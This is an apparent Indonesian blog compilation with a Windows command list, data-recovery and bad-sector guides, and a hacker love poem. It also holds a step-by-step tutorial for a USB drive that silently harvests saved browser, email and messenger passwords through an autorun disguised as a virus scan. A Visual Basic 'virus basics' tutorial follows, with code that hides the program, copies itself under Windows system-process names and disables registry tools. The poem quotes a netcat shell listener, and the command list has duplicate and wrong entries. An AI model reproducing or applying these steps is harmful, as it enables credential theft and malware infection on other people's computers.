FIND Mencari string teks dalam sebuah file atau beberapa file.
FINDSTR Mencari string dalam file.
FOR Menjalankan perintah yang spesifik untuk masing-masing file dalam sekumpulan file.
FORMAT Mem-Formats sebuah hardisk/disket untuk digunakan dalam Windows.
FTYPE Menampilkan atau mengubah tipe file yang digunakan dalam asosiasi ekstensi file.
GOTO Mengarahkan Windows command interpreter ke baris yang berlabel dalam sebuah program batch.
GRAFTABL Membolehkan Windows untuk menampilkan sekumpulan karakter extended dalam mode grafik.
HELP Menyediakan informasi Help untuk perintah-perintah Windows.
IF Menjalankan proses kondisi dalam program batch.
LABEL Membuat, mengubah, atau menghapus volume label dari sebuah disket/harddisk.
MD Membuat direktori.
MKDIR Membuat direktori.
MODE Mengkonfigurasi system device.
MORE Menampilkan hasil perlayar..
MOVE Memindahkan satu atau beberapa file dari satu direktori ke direktori yang lain.
PATH Menampilkan ata mengeset search path untuk executable files.
PAUSE Menunda pemrosesan dari sebuah batch file dan Menampilkan pesan.
POPD Mengembalikan nilai sebelumnya dari direktori sekarang yang disimpan oleh PUSH.
MODE Mengkonfigurasi system device.
PRINT Mencetak file teks.
PROMPT Mengubah command prompt Windows.
PUSHD Menyimpan direktori sekarang kemudian mengubahnya.
MODE Mengkonfigurasi system device.
RD Menghapus direktori.
RECOVER Mengembalikan informasi yang masih dapat dibaca dari sebuah disket/harddisk yang sudah bad/rusak.
REM Merekam kemontar dalam batch files atau CONFIG.SYS.
REN Mengubah nama file.
RENAME Mengubah nama file.
REPLACE Menggantikan file.
RMDIR Menghapus direktori.
SET Menampilkan, mengatur, atau menghapus Windows environment variables.
SHIFT Membuat direktori.
SETLOCAL Memulai localization dari environment changes dalam sebuah batch file.
SORT Mensortir input.
START Memulai jendela terpisah untuk menjalankan perintah atau program spesifik.
SUBST Meng-asosiasikan sebuah path dengan drive letter.
TIME Menampilkan atau mengatur waktu sistem.
TITLE Mengatur judul jendela untuk sesi CMD.EXE.
TREE Menampilkan secara grafis struktur direktori dari sebuah drivve atau path.
TYPE Menampilkan isi dari sebuah file eks.
VER Menampilkan versi windows.
VERIFY memberitahu Windows untuk mem-verifikasi file anda telah disimpan secara benar dalam harddisk/disket.
VOL Menampilkan nomor serial dan volume label dari sebuah harddisk/disket
XCOPY Menyalin file dan pohon direktori.
Untuk informasi lebih spesifik tentang suatu perintah, ketik “HELP nama-perintah” di DOS prompt


SEMOGA BERMANFAAT UNTUK KALIAN SEMUA


Membuat Flashdisk menjadi alat pencuri password

Tanpa basa-basi saya akan mengajarkan ke pada teman-teman membuat
alat pencuri password dengan flashdisk degan bantual tools.

Tools yang di maksud adalah,

Tools yang berfungsi merecovery (memulihkan) password dari file tempatnya di simpan dengan memanfaatkan USB flashdisk. Anda dapat membuat rootkit Anda sendiri untuk meng-hack password. berikut ini sejumlah tools untuk Menjadikan flashdisk menjadi alat hack password :



MessenPass : piranti recover password yang paling populer untuk Program Instant Messenger seperti: MSN Messenger, Windows Messenger, Yahoo Messenger, ICQ Lite 4.x/2003, AOL Instant Messenger, Trillian, Miranda, dan Gaim.

Mail PassView : merecovery password dari program email seperti: Outlook Express, Microsoft Outlook 2000 (POP3 dan SMTP Account saja), Microsoft Outlook 2002/2003 (POP3, IMAP, HTTP dan SMTP Account), IncrediMail, Eudora, Netscape Mail, Mozilla Thunderbird dan Group Mail Gratis lainnya.


IE Passview : adalah utilitas sederhana yang bisa merecovery password dari browser Internet Explorer. Versi ini mendukung Internet Explorer 7.0, serta versi Internet explorer, v4.0 – v6.0.

Protected Storage PassView : merecovery semua password yang tersimpan dalam Protected Storage, termasuk AutoComplete password Internet Explorer, password dari situs yang dilindungi sandi, MSN Explorer Sandi, dan masih banyak lagi …

PasswordFox : PasswordFox adalah utilitas pemulihan password sederhana yang memungkinkan anda melihat nama pengguna dan sandi yang disimpan oleh browser Mozilla Firefox. Secara default, PasswordFox menampilkan password yang disimpan dalam profil aktif Anda, tetapi Anda dapat dengan mudah memilih untuk melihat password Firefox di lain profil.

Berikut adalah langkah demi langkah untuk menciptakan procedure password hacking toolkit dalam USB Drive (Flashdisk):


CATATAN: Anda harus menonaktifkan sementara antivirus Anda sebelum mengikuti langkah-langkah ini.

1. Download dan ekstrak ke 5 tools di atas dan copy file executable (Exe file) saja ke Flashdisk yaitu: Salinlah file – mspass.exe, mailpv.exe, iepv.exe, pspv.exe dan passwordfox.exe ke dalam USB Drive.

2. Buat file Notepad baru dan dan ketik teks berikut ini :

[autorun]

open=launch.bat

ACTION= Perform a Virus Scan

3. Simpan Notepad and rename dari New Text Document.txt menjadi autorun.inf, lalu

copy file autorun.inf ke dalam USB drive.


4. Buat file Notepad baru lagi dan ketik teks berikut :

start mspass.exe /stext mspass.txt

start mailpv.exe /stext mailpv.txt

start iepv.exe /stext iepv.txt

start pspv.exe /stext pspv.txt

start passwordfox.exe /stext passwordfox.txt

5. Simpan file Notepad and gantilah namanya dari New Text Document.txt menjadi launch.bat, lalu Salin file launch.bat USB drive Anda.

Sekarang rootkit Anda sudah siap di gunakan untuk hack password. Namun, tools Hack ini akan bekerja pada Windows 2000, XP, Vista dan 7 serta akan memulihkan password jika ada password yang tersimpan dalam computer.

Cara menggunakan flashdisk hack tools sebagai berikut :


1. Masukkan flashdisk ke USB Port dan jendela pop-up autorun akan tampil. (Hal ini karena, ada telah menciptakan sebuah autorun di flashdisk).

2. Pada jendela pop-up, pilih pilihan pertama (melakukan scan Virus).

3. Sekarang, semua hacking tools password berjalan secara diam-diam di belakang layar. Proses ini memakan waktu tidak terlalu lama. Password yang di temukan akan di recover untuk selanjutnya disimpan dalam sebuah file TXT.

4. Keluarkan flashdisk dan Anda akan melihat password yang tersimpan dalam format TXT file.

PUISI SEORANG HACKER

seandainya hatimu adalah sebuah system  , maka aku akan scan kamu untuk mengetahui port mana yang terbuka  Sehingga tidak ada keraguan saat aku c:\> nc -l -o -v -e ke hatimu,  tapi aku hanya berani ping di belakang anonymouse proxy,  inikah rasanya jatuh cinta sehingga membuatku seperti pecundang atau aku memang pecundang sejati whatever!   Seandainya hatimu adalah sebuah system, ingin rasanya aku manfaatkan vulnerabilitiesmu,  pake PHP injection Terus aku ls -la; find / -perm 777 -type d, sehingga aku tau kalo di hatimu ada folder yang bisa ditulisi atau adakah free space buat aku?. apa aku harus pasang  backdor "Remote Connect-Back Shell" jadi aku  tinggal nunggu koneksi  dari kamu saja, biar aku tidak merana seperti ini. Seandainya hatimu adalah sebuah system, saat semua request-ku diterima aku akan nongkrong terus di bugtraq  untuk mengetahui bug terbarumu maka aku akan patch n patch terus, aku akan jaga service-mu jangan  sampai crash n aku akan menjadi firewallmu aku akan pasang portsentry, dan menyeting error pagemu " The page cannot be found Coz Has Been Owned by Someone get out!"   aku janji gak bakalan ada macelinious program atau service yang hidden,  karena aku sangat sayang dan mencintaimu. Seandainya hatimu adalah sebuah system jangan ada kata "You dont have permission to access it" untuk aku, kalau ga mau di ping flood Atau DDos Attack jangan ah....! 
kamu harus menjadi sang bidadari penyelamatku.
Seandainya hatimu adalah sebuah system, ...? Tapi sayang hatimu bukanlah sebuah system,
kamu adalah sang bidadari impianku, 
yang telah mengacaukan systemku! 
Suatu saat nanti aku akan datang n 
mengatakan kalau di hatiku sudah terinfeksi virus yang Menghanyutkan, Ga ada anti virus yang dapat menangkalnya selain ...KAMU !!!  Oh...Tasya kekasih ku

Konsep Dasar Pembuatan Virus Di VB

Tutor ini hanyalah merupakan suatu pembelajaran, yg berupa konsep dasar dalam pembuatan virus di visual basic...: .. jadi pada dasarnya syntax dibawah ini nantinya akan kalian kembangkan seprti apa yg kalian inginkan virusnya.... ok langsung aja gan

Pertama, bikin form buat virus kamu pake Standart exe saja

1. menyembunyikan Form

Private Sub Form_Load()
App.TaskVisible = False
End Sub

2. Copy Diri Sendiri
Misalnya mau dikopiin ke direktori C:\Windows dengan nama winlogon.exe csrss.exe ato services.exe
biar prosesnya sulit di kill pake taskmanager, nama virus pake nama system pada windows

On Error Resume Next
FileCopy App.EXEName + “.exe”, “C:\WINDOWS\winlogon.exe”
FileCopy App.EXEName + “.exe”, “C:\WINDOWS\csrss.exe”
FileCopy App.EXEName + “.exe”, “C:\WINDOWS\services.exe”
FileCopy App.EXEName + “.exe”, “C:\WINDOWS\smss.exe”
FileCopy App.EXEName + “.exe”, “C:\WINDOWS\lsass.exe”

3. Bikin Direktori ato folder
Misalnya bikin folder di windows direktori

On Error Resume Next
MkDir “C:\WINDOWS\virus”

4. Mengganti Atribut file
Bisa juga buat ngganti atribut folder
Attributes = 0 0 berarti normal
Attributes = 1 1 berarti read only
Attributes = 2 2 berarti hidden
Attributes = 3 3 berarti read only + hidden
Attributes = 4 4 berarti system
Attributes = 5 5 berarti system + read only
Attributes = 6 6 berarti system + hidden

Set sembunyi = CreateObject(”Scripting.FileSystemObject”)
On Error Resume Next
sembunyi.GetFile(”C:\WINDOWS\winlogon.exe”).Attrib utes = 2
sembunyi.GetFile(”C:\WINDOWS\csrss.exe”).Attribute s = 2
sembunyi.GetFile(”C:\WINDOWS\services.exe”).Attrib utes = 2
sembunyi.GetFile(”C:\WINDOWS\smss.exe”).Attributes = 2
sembunyi.GetFile(”C:\WINDOWS\lsass.exe”).Attribute s = 2

tapi kalo folder pakenya
sembunyi.GetFolder(”C:\WINDOWS\”).Attributes = 2

5. Bikin Pesan Virus
Bikin pesen pake text file

On Error Resume Next
Set bikinpesen = CreateObject(”Scripting.FileSystemObject”)
Set isipesen = bikinpesen.Createtextfile(”C:\baca saya.txt “)
isipesen.writeline (”komputer kamu kena virus bodoh “)
isipesen.Close

6.Ngubah Registry
Misalnya mo disable regedit

On Error Resume Next
Set ubahreg = CreateObject(”WScript.Shell”)
ubahreg.regwrite “HKEY_CURRENT_USER\software\
microsoft\windows\currentversion\policies\system\
disableregistrytools”, 1, “REG_DWORD”

7.Menghapus Registry
Misalna mo ngehapus HKEY_LOCAL_MACHINE\
Software\Microsoft\Windows NT\CurrentVersion\Run\ServLogon



On Error Resume Next
Set hapusreg = CreateObject(”WScript.Shell”)
hapusreg.regdelete “HKEY_LOCAL_MACHINE\
Software\Microsoft\Windows NT\CurrentVersion\Run\ServLogon”

Nah sekian dulu ... Selamat Belajar !

Atasi masalah pada data di harddisk anda (Windows File/Data Recovery)

Anda mungkin pernah mengalami hal hal dibawah ini :
* Mendelete file penting secara tidak sengaja.
* Anda memiliki banyak nama letter drive dan secara tidak sengaja menghilangkan data dengan melakukan format pada sebuah drive letter bahkan menghapus partisi harddisk dan data anda hilang
* Atau anda lebih suka memasang seluruh harddisk baru dan yang sudah usang didalam sebuah computer. Biar kelihatan memiliki computer canggih dengan banyak harddisk.
* Virus melakukan penghapusan data termasuk data penting.
* Harddisk anda mengalami mulfunction, hal ini dapat terjadi bila storage didalam media sudah terlalu penuh dan harddisk mengalami crash.
Kita bahas kasus kasus paling konyol dilakukan pemakai computer
Mendelete file secara tidak sengaja: Ada kata pepatah sepandai pandainya tupai melompat, suatu ketika pasti akan jatuh. Mereka yang biasa biasa saja mengunakan computer, sangat jarang melakukan kesalahan ini. Karena lebih memilih berhati hati menempatkan file pada harddisk dan menjauhkan tombol Delete. Tetapi kasus ini malah terjadi ketika seseorang yang sangat mahir mengunakan computer. Terkadang malah mematikan peringatan pada sistem Windows karena dianggap menganggu. Komentarnya, kenapa harus diberikan warning jika ingin mendelete file atau directory, inikan sebuah pekerjaan rutin. Biasanya pemakai computer yang sudah ahli melakukan setup Windows dengan mematikan hal hal yang dianggap tidak perlu. Suatu ketika, ternyata file yang penting didalam sebuah directory terhapus secara tidak sengaja tanpa tanda peringatan awal
Memformat harddisk secara tidak sengaja : Kasus ini sebenarnya jarang terjadi bagi mereka yang menyusun data penting pada sebuah harddisk. Mereka yang sudah berpengalaman akan menempatkan sebuah data pada sebuah harddisk dengan drive letter tertentu. Misalnya menempatkan data penting pada harddisk pertama atau kedua. Ketika melakukan format, maka didalam hati sudah tertanam kebiasaan untuk memeriksa kembali dan memastikan drive letter yang akan diformat bukanlah drive letter atau harddisk yang berisikan data penting. Kesalahan ini sering terjadi karena turunnya konsentrasi seseorang ketika melihat nama drive letter serta partisi pada sebuah computer yang hendak dihapus atau diganti . Atau paling umum dan konyol adalah cursor mouse tergeser ke partisi yang tidak ingin diformat. Tidak percaya, nyatanya banyak kejadian seperti ini terjadi dengan memformat drive letter yang salah. Maklum sistem seperti Windows XP sangat memudahkan melakukan format harddisk
Menghilangkan partisi secara tidak sengaja : Pada sistem Windows XP sangat memudahkan seseorang melakukan format atau membuat partisi. Sedangkan untuk sistem Windows 98, partisi harus dibuat dengan sistem DOS. Sayangnya, hal yang mendasar untuk membuat partisi pada sistem Windows XP terkadang kurang dipahami. Dan secara tidak sengaja anda melakukan penghapusan pada partisi harddisk yang berisikan data penting. Sedangkan sistem Windows 98, kejadian partisi hilang karena pemakai computer lupa memindahkan option pilihan harddisk. Terlebih bila mengunakan 2 harddisk dengan kapasitas dan pembagian yang sama paling sering terjadi.
Menempatkan data pada harddisk usang : Memiliki 3-4 harddisk didalam sebuah computer mungkin kelihatan keren. Ada kebiasaan buruk bagi pemakai computer untuk tetap memanfaatkan harddisk usang. Tetapi kita harus mengetahui bahwa harddisk memiliki jangka pemakaian. Menempatkan data yang penting pada harddisk usang bukanlah hal bijaksana. Lebih baik melakukan backup atau setidaknya menempatkan data pada 2 harddisk berbeda untuk melakukan duplikat. Nyatanya banyak yang tidak memperhatikan umur dari pemakaian harddisk. Ketika harddisk tua mulai berulah seperti terjadi kerusakana fisik seperti bad sector atau harddisk mendadak tidak dapat di access barulah disadari masih ada data penting yang tertinggal didalam.
Bagi pemula sebaiknya mengenal arti Fisik Drive, Partisi dan Drive/Logical drive letter :
Dibawah ini dasar sederhana untuk mengenal sebuah drive storage
Fisik drive: Diartikan adalah bentuk storage. Bentuknya umum adalah harddisk, bentuk lainnya dapat berupa Flash drive, CD/DVD-ROM dengan media CD/DVD atau floppy drive dan lainnya. Fisik drive adalah bentuk fisik sebuah drive media penyimpan. Didalam drive nantinya dibagi menjadi beberapa partisi untuk membentuk nama drive atau dikenal sebagai drive letter
Partisi atau Partition : Diartikan pembagian sebuah storage untuk membagi atau memotong kapasitas sebuah media penyimpan atau storage menjadi bagian yang lebih kecil sesuai kebutuhan. Pembagian storage atau space atau isi kapasitas harddisk dapat diartikan sebagai partisi. Misalnya harddisk 100 GB dapat dipecah menjadi 2 dengan pembagian 50GB dan 50GB. Tetapi ada ketentuan pada susunan partisi khususnya harddisk. Pembagian ditentukan dengan Primary dan Extended partisi.
Harddisk pertama pada computer atau harddisk yang berisikan sistem booting akan diberikan nama Primary Partition atau partisi utama. Didalam Primary partisi hanya memiliki 1 drive letter, yaitu drive C.
Harddisk pertama dapat dibagi dan diberikan nama Extended Partition. Sebagai contoh anda memiliki harddisk 250GB dan membagi 2 partisi 20GB Primary dan 230GB Secondary. Maka 20GB pertama akan menjadi drive C. Sedangkan 230GB dapat dibagi lagi dengan beberapa nama drive letter yang anda butuhkan termasuk kapasitas dari masing masing drive letter. Proses pembagian Extended Partition diakhir dengan pemberian Logical drive. Misalnya anda membagi partisi Extended menjadi 5 drive letter (D-E-F-G-H) lagi dengan masing masing kapasitas 50GB, drive letter pertama memiliki letter D dan kedua menjadi drive E dan seterusnya.
Bila anda memiliki 2 harddisk, harddisk pertama harus memiliki ketentuan seperti diatas dan minimal memiliki primary partition. Sedangkan Extended Partition hanya diperlukan bila anda perlu membagi harddisk pertama, kedua dan seterusnya menjadikan beberapa drive letter lain. Bila tidak, maka harddisk pertama akan tetap berisikan Primary Partition dengan 1 drive letter saja yaitu C. Drive C dengan Primary Partition akan berisikan sistem boot pada sebuah sistem operasi.
Untuk harddisk kedua dapat dibagi tanpa Primary Partition dan dapat bagi langsung dengan Extented Partition. Cara pembagian sama seperti membagi kapasitas dari cara harddisk pertama tetapi untuk membentuk Extended Partition harus memiliki harddisk pertama dengan isi Primary Partition. Harddisk kedua dan seterusnya tidak memerlukan Primary Partition bila anda tidak memerlukan harddisk kedua dan seterusnya juga dapat melakukan boot pada sebuah computer.
Pada gambar dibawah ini adalah gambaran dari struktur pembagian sebuah storage dengan bentuk media harddisk. Sebagai contoh fisik harddisk yang digunakan adalah berkapasitas 250GB :
Primary Partition, Drive C, berisikan 20GB (19.53GB)
Extended Partition, Drive D – E – F dan seterusnya dibagi berdasarkan kebutuhan.
Melakukan recover data didalam harddisk (storage)
Sebelum hanya perusahaan software membuat software recovery harddisk. Kehilangan data dari sebuah harddisk adalah sebuah mimpi buruk
Tetapi sekarang ini adalah beberapa software yang mampu melakukan pengembalian data pada sebuah harddisk. Bila anda secara tidak sengaja menghilangkan data anda, contohnya partisi pada harddisk, logical drive yang terhapus atau harddisk secara tidak sengaja terhapus. Persiapkan langkah langkah seperti dibawah ini
* Cara yang terbaik adalah mengunakan 2 harddisk. Harddisk yang mengalami kerusakan, atau hilang data digunakan sebagai harddisk kedua. Sedangkan harddisk pertama digunakan sebagai sistem recovery dan melakukan backup data yang hilang.
* Bila anda memiliki 1 buah harddisk berisikan boot sistem dengan 1 partisi dengan Primary Partition. Langkah terbaik untuk tidak mengunakan harddisk tersebut untuk melakukan recover. Gunakan harddisk lain untuk melakukan recover dengan menginstal software recovery data. Upaya ini untuk mencegah data anda terhapus secara permanen.
* Bila anda memiliki beberapa drive letter misalnya C,D,E. Anda dapat mengunakan harddisk untuk melakukan recovery data. Dengan catatan tidak menginstall kegiatan penulisan pada drive letter yang berisi data penting dan telah terhapus secara tidak sengaja. Sebagai contoh, Data anda berada didalam drive letter E. Maka anda tidak boleh mengunakan Drive letter E untuk menginstall program apapun. Program recovery data dapat ditempatkan pada drive letter lain misalnya di D dan C.
* Bila secara tidak sengaja anda menghapus partisi harddisk anda. Anda tidak boleh mengunakan harddisk tersebut untuk melakukan install software apapun. Gunakan harddisk lain untuk mencari data anda didalam harddisk yang terhapus.
* Sekalipun harddisk anda telah kehilangan informasi atau harddisk anda mulai mengalami gangguan seperti bad sector. Sistem recovery data dapat melakukan pengembalian data anda. Asalkan harddisk masih dapat dikenal oleh harddisk pembantu untuk melakukan recovery
* Software recovery data hanya melakukan pengembalian data anda yang terhapus secara tidak sengaja. Tetapi tidak mengembalikan bentuk partisi anda seperti semula.
Undelete file / mengembalikan file terhapus
Undelete file atau mengembalikan file yang terhapus tidak terlalu sulit. Banyak software utiliti dengan menambahkan fitur undelete file.
Misalnya Tune-Up menyertakan fitur untuk mencari file atau directory yang terhapus pada sebuah drive letter. Atau dan Recover4All dengan kemampuan khusus untuk melakukan pencarian file yang terdelete. Software utility tersebut dapat mencari nama file yang telah terhapus, dan memilih apakah kondisi file yang terhapus masih baik atau utuh. Software undelete file membutuhkan input dari pemakai untuk mengembalikan nama file aslinya. Karena pada sistem WIndows, file yang dihapus akan dihapus karakter paling depan. Misalnya file anggaran.xls masih dapat ditemukan dengan nama ?nggaran.xls. Dan karakter awal harus dimasukan secara manual.
Mengembalikan data pada Partisi atau drive letter yang terhapus
Kami mencoba 2 buah software handal untuk melakukan recovery data. Kedua software dibawah ini mampu mengambil data dari sebuah storage yang telah hilang sampai tingkat logical drive atau drive letter maupun informasi pada partisi. Artinya, sebuah harddisk yang sudah dianggap tidak memiliki partisi (blank) lagi ternyata masih dapat dicari sisa data dari file yang ada didalam harddisk.
Kemampuan kedua program dibawah ini adalah :
* Mendukung FAT16, FAT32, VFAT, NTFS
* Recover file yang terhapus termasuk folder
* Mengembalian file yang hilang dari terhapusnya partisi bahkan yang terformat dengan sistem cepat / QUICK.
* Mengembalikan data dari storage yang tidak dapat di access lagi atau terjadinya corruption file dengan pencarian sector
* Mendukung multi disk format seperti IDE sampai SCSI
* Bekerja pada Sistem Windows 95 – XP dan 2003 untuk Stellar
Stellar Phoenix FAT & NTFS – Windows Data Recovery Software
GetDataBack for NTFS or FAT
Kedua software tersebut mampu mengambil data baik partisi dan drive letter yang telah anda hapus. Bahkan software recovery data akan mencoba mencari data anda walaupun harddisk atau storage media mengalami cacat fisik misalnya bad sector.
Kesimpulan
Kehilangan data baik terhapus secara tidak sengaja pada drive letter, directory dan partisi storage bukan sebuah mimpi buruk lagi. Dengan software Recovery Data, maka data anda masih dapat dikembalikan walaupun terdapat resiko tidak seluruhnya dapat diamankan. Bila anda mengalami kejadian ini, secepatnya anda mematikan computer dan melepaskan harddisk anda untuk melakukan recovery. Dan tidak disarankan melakukan recovery data pada harddisk yang sama kecuali anda mengenal betul apa yang anda lakukan. Mengenal cara kerja harddisk, dan media storage seperti jenis partisi, drive letter sangat disarankan agar mencegah kerusakan lebih dalam.

Rabu, 06 April 2011

MASALAH PADA HARDDISK

Harddisk adalah media penyimpan yang sangat penting pada computer. Sayangnya umur pemakaian yang terbatas. Kerusakan pada harddisk dapat disebabkan beberapa hal. Misalnya :
• Power supply yang tidak memadai dan merusak kontroller harddisk dan motor.
• Harddisk terjatuh dan merusak mekanik didalamnya atau minimal terjadi bad sector.
• Terlalu sering dibawa bawa tanpa pengaman membuat platter harddisk rusak karena goncangan berlebih.
• Suhu didalam harddisk yang panas membuat kondisi harddisk dalam lingkungan tidak stabil.
• Kondisi MTBF/umur harddisk, sudah tercapai dan akan rusak.
Hal yang masih dapat dilakukan untuk memperbaiki harddisk yang terkena bad sector adalah hanya kondisi dimana harddisk masih berputar, keadaan controller harddisk masih bekerja. Tetapi keadaan ini masih dibagi lagi, bila ingin mengunakan harddisk yang terkena bad sector. Masalah penyebab bad sector adalah salah satu kerusakan yang sering terjadi. Kondisi kerusakan oleh bad sector dibedakan oleh 3 keadaan.
• Kondisi dimana platter harddisk aus. Pada kondisi ini harddisk memang sudah tidak dapat digunakan. Semakin lama harddisk semakin rusak dan tidak berguna lagi untuk dipakai sebagai media storage.
• Kondisi platter yang aus tetapi belum mencapai kondisi kritis. Kondisi ini dapat dikatakan cukup stabil untuk harddisk. Kemungkinan harddisk masih dapat diperbaiki karena platter masih mungkin dilow level.
• Kondisi platter yang aus, baik kondisi yang parah atau ringan tetapi kerusakan terdapat di cluster 0 (lokasi dimana informasi partisi harddisk disimpan). Kondisi ini tidak memungkinkan harddisk diperbaiki.
Membicarakan keadaan harddisk untuk diperbaiki hanya memungkinkan perbaikan pada kondisi ke 2, dimana permukaan harddisk masih stabil tetapi terdapat kerusakan ringan di beberapa tempat.
Tujuan
• Upaya untuk mengunakan harddisk yang terdapat bad sector
• Men-eliminasi lokasi kerusakan pada bad sector.
Tahapan 1
Sebelum melakukan tahapan selanjutnya sebaiknya mengunakan tahapan 1 untuk memastikan kondisi platter harddisk yang rusak. Untuk mengetahui hal ini harddisk harus dilakukan LOW LEVEL FORMAT (LLF). LLF dapat dilakukan dari BIOS atau Software. Untuk BIOS, beberapa PC lama seperti generasi 486 atau Pentium (586) memiliki option LLF. Atau dapat mengunakan software LLF. Untuk mendapatkan software LLF dapat diambil di Site pembuat harddisk. Atau mencari utiliti file seperti hddutil.exe (dari Maxtor - MaxLLF.exe) dan wipe.exe versi 1.0c 05/02/96.
Fungsi dari software LLF adalah menghapus seluruh informasi baik partisi, data didalam harddisk serta informasi bad sector. Software ini juga berguna untuk memperbaiki kesalahan pembuatan partisi pada FAT 32 dari Windows Fdisk.
Setelah menjalankan program LLF, maka harddisk akan benar-benar bersih seperti kondisi pertama kali digunakan.
Peringatan : Pemakaian LLF software akan menghapus seluruh data didalam harddisk
Tahapan 2
Proses selanjutnya adalah dengan metode try dan error. Tahapan untuk sesi ini adalah :
a. Membuat partisi harddisk : Dengan program FDISK dengan 1 partisi saja, baik primary atau extended partisi. Untuk primary dapat dilakukan dengan single harddisk , tetapi bila menghendaki harddisk sebagai extended, diperlukan sebuah harddisk sebagai proses boot dan telah memiliki primary partisi (partisi untuk melakukan booting).
b. Format harddisk : Dengan FORMAT C: /C. Penambahan perintah /C untuk menjalankan pilihan pemeriksaan bila terjadi bad sector. Selama proses format periksa pada persentasi berapa kerusakan harddisk. Hal ini terlihat pada gambar dibawah ini.

Ketika program FORMAT menampilkan Trying to recover allocation unit xxxxxx, artinya program sedang memeriksa kondisi dimana harddisk tersebut terjadi bad sector. Asumsi pada pengujian dibawah ini adalah dengan Harddisk Seagate 1.2 GB dengan 2 lokasi kerusakan kecil dan perkiraan angka persentasi ditunjukan oleh program FORMAT :
Kondisi Display pada program Format persentasi yang dapat digunakan
Baik 0-20% 20%
Bad sector 21% Dibuang
Baik 22-89% 67%
Bad sector 91% Dibuang
Baik 91-100% 9%
c. Buat partisi kembali : Dengan FDISK, buang seluruh partisi didalam harddisk sebelumnya, dan buat kembali partisi sesuai catatan kerusakan yang terjadi. Asumsi pada gambar bawah adalah pembuatan partisi dengan Primary dan Extended partisi. Pada Primary partisi tidak terlihat dan hanya ditunjukan partisi extended. Pembagian pada gambar dibawah ini adalah pada drive D dan F (22MB dan 12 MB) dibuang karena terdapat bad sector. Sedangkan pada E dan G ( 758MB dan 81MB) adalah sebagai drive yang masih dalam kondisi baik dan dapat digunakan.

Bila anda cukup ngotot untuk memperbaiki bad sector anda, dapat juga dilakukan dengan try-error dengan mengulangi pencarian lokasi bad sector pada harddisk secara tahapan yang lebih kecil, misalnya membuat banyak partisi untuk memperkecil kemungkinan terbuangnya space pada partisi yang akan dibuang. Semakin ngotot untuk mencari kerusakan pada tempat dimana terjadi bad sector semakin baik, hanya cara ini akan memerlukan waktu lebih lama walaupun hasilnya memang cukup memuaskan dengan memperkecil lokasi dimana kerusakan harddisk terjadi.

d. Untuk memastikan apa bad sector sudah terletak pada partisi harddisk yang akan dibuang, lakukan format pada seluruh letter drive dengan perintah FORMAT /C. Bila bad sector memang terdapat pada partisi yang dibuang (asumsi pada pengujian bad sector terletak pada letter drive D dan F), maka partisi tersebut dapat langsung dibuang. Tetapi bila terjadi kesalahan, misalnya kerusakan bad sector tidak didalam partisi yang akan dibuang melainkan terdapat pada partisi yang akan digunakan, anda harus mengulangi kembali proses dari awal dengan membuang partisi dimana terdapat kesalahan dalam membagi partisi yang terkena bad sector. Hal yang perlu diingat : Pembuatan partisi dilakukan dari awal ke akhir, misalnya C, D, E dan selanjutnya. Untuk membuang partisi mengunakan cara sebaliknya yaitu dari Z ke C. Kesalahan dalam membuang dan membuat partisi yang acak acakan akan mengacaukan sistem partisi harddisk.
e. Proses selanjutnya adalah membuang partisi yang tidak digunakan lagi. Setelah melakukan pemeriksaan dengan program FORMAT, maka pada proses selanjutnya adalah membuang partisi yang mengandung bad sector. Pada gambar dibawah ini adalah: Tahap membuang 2 partisi dengan FDISK untuk letter drive D dan E. Untuk E dan G adalah partisi letter drive yang akan digunakan.

F. Pada akhir tahapan anda dapat memeriksa kembali partisi harddisk dengan option 4 (Display partitisi) pada program FDISK, contoh pada gambar dibawah ini adalah tersisa 3 drive : C sebagai primary partisi (tidak terlihat), 2 extended partisi yang masih baik dan partisi yang mengandung bad sector telah dihapus.

G. Akhir proses. Anda memiliki harddisk dengan kondisi yang telah diperbaiki karena bad sector. Letter drive dibagi atas C sebagai Primary partisi dan digunakan sebagai boot, D (758MB) dan E (81MB) adalah partisi ke 2 dan ke 3 pada extended partisi.
Bila anda belum puas dengan hasil mencari bad sector, maka anda dapat mengulangi prosesur diatas. Untuk melakukan Tips ini sebaiknya sudah mengetahui prosedur dalam membuat partisi dengan program FDISK.
Yang perlu dicatat pada tip ini adalah, berhati-hati pada pemakaian program LLF. Sebaiknya mengunakan single drive untuk mengunakan program ini. Kesalahan melakukan LOW LEVEL FORMAT pada harddisk sangat fatal dan tidak dapat dikembalikin seperti kondisi semula.
Untuk harddisk yang terkena BAD SECTOR sebaiknya mengunakan harddisk yang kondisinya belum terlalu parah atau bad sector terdapat di beberapa tempat dan tidak sporadis tersebar. Kerusakan pada banyak tempat (sporadis bad sector) pada harddisk akan menyulitkan pencarian tempat dimana terjadi bad sector.